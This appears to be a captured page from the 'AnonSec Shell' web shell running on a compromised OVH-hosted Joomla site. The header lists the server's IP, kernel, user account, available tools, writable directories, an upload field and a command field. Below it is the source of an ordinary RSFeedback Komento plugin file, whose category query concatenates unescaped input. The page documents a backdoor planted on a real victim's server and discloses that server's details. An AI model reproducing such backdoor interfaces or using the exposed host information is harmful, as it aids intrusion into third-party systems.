AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/nimes/components/com_rsfeedback/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/nimes/components/com_rsfeedback/komento_plugin.php
<?php
/**
 * @package RSFeedback! Komento integration
 * @copyright (C) 2010-2018 www.rsjoomla.com
 * @license GPL, http://www.gnu.org/copyleft/gpl.html
 */
defined('_JEXEC') or die('Unauthorized Access');

class KomentoComRSFeedback extends KomentoExtension
{
    public $_item;

    public $_map = array(
        'id'			=> 'id',
        'catid'			=> 'cat_id',
        'created_by'	=> 'user_id',
        'title'			=> 'title',
        'hits'			=> 'hits',
        'state'         => 'published'
    );

    public function __construct($component)
    {
        // Add com_rsfeedback's helper & router file
        $this->addFile(JPATH_ROOT . '/components/com_rsfeedback/helpers/rsfeedback.php');
        $this->addFile(JPATH_ROOT . '/components/com_rsfeedback/helpers/route.php');

        $lang 		= JFactory::getLanguage();
        $lang->load('com_rsfeedback');

        parent::__construct($component);
    }

    public function load( $cid )
    {
        static $instances = array();

        if( !isset( $instances[$cid] ) )
        {
            $db		= JFactory::getDBO();
            $query  = $db->getQuery(true);

            $query->select(
                    $db->qn('f.id').', '.
                    $db->qn('f.title').', '.
                    $db->qn('f.cat_id').', '.
                    $db->qn('f.user_id').', '.
                    $db->qn('f.hits').', '.
                    $db->qn('f.published').', '.
                    $db->qn('c.name', 'category_title').', '.
                    $db->qn('u.name', 'author'))
                ->from($db->qn( '#__rsfeedback_feedbacks', 'f'))
                ->join('left', $db->qn( '#__rsfeedback_categories', 'c').' ON '.$db->qn('c.id').' = '.$db->qn('f.cat_id'))
                ->join('left', $db->qn( '#__users', 'u').' ON '.$db->qn('u.id').' = '.$db->qn('f.user_id'))
                ->where($db->qn('f.id') . ' = ' . $db->q( (int) $cid ));
            $db->setQuery( $query );

            if( !$result = $db->loadObject() )
            {
                return $this->onLoadArticleError( $cid );
            }

            $instances[$cid] = $result;
        }

        $this->_item = $instances[$cid];

        return $this;
    }

    public function getContentIds( $categories = '' )
    {
        $db		= JFactory::getDBO();
        $query = $db->getQuery(true);

        if( empty( $categories ) )
        {
            $query->select($db->qn('id'))->from($db->qn('#__rsfeedback_feedbacks'))->order($db->qn('id'));
        }
        else
        {
            if( is_array( $categories ) )
            {
                $categories = implode( ',', $categories );
            }
            $query->select($db->qn('id'))->from($db->qn('#__rsfeedback_feedbacks'))->where($db->qn('cat_id').' IN (' . $categories . ')')->order($db->qn('id'));
        }
        $db->setQuery( $query );

        return $db->loadColumn();
    }

    public function getCategories()
    {
        $db		= JFactory::getDBO();
        $query  = $db->getQuery(true)->select($db->qn('c.id'). ', ' .$db->qn('c.name', 'title'))->from($db->qn('#__rsfeedback_categories', 'c'))->order('c.ordering');

        $db->setQuery( $query );
        $categories = $db->loadObjectList();

        return $categories;
    }

    public function isListingView()
    {
        $views = array('categories', 'feedbacks');

        return in_array(JFactory::getApplication()->input->get('view', '', 'cmd'), $views);
    }

    public function isEntryView()
    {
        return JFactory::getApplication()->input->get('view', '', 'cmd') == 'feedback';
    }

    public function onExecute( &$article, $html, $view, $options = array() )
    {
        return $html;
    }

    public function getContentPermalink()
    {
        return $this->prepareLink(RSFeedbackRoute::Feedback($this->_item->id, JFactory::getApplication()->input->get('tmpl', '', 'cmd')));
    }
    
    public function getContext()
    {
        if ($this->isEntryView()) {
            return 'com_rsfeedback.feedback';
        }

        if ($this->isListingView()) {
            return false;
        }

        return false;
    }
}

Anon7 - 2022
AnonSec Team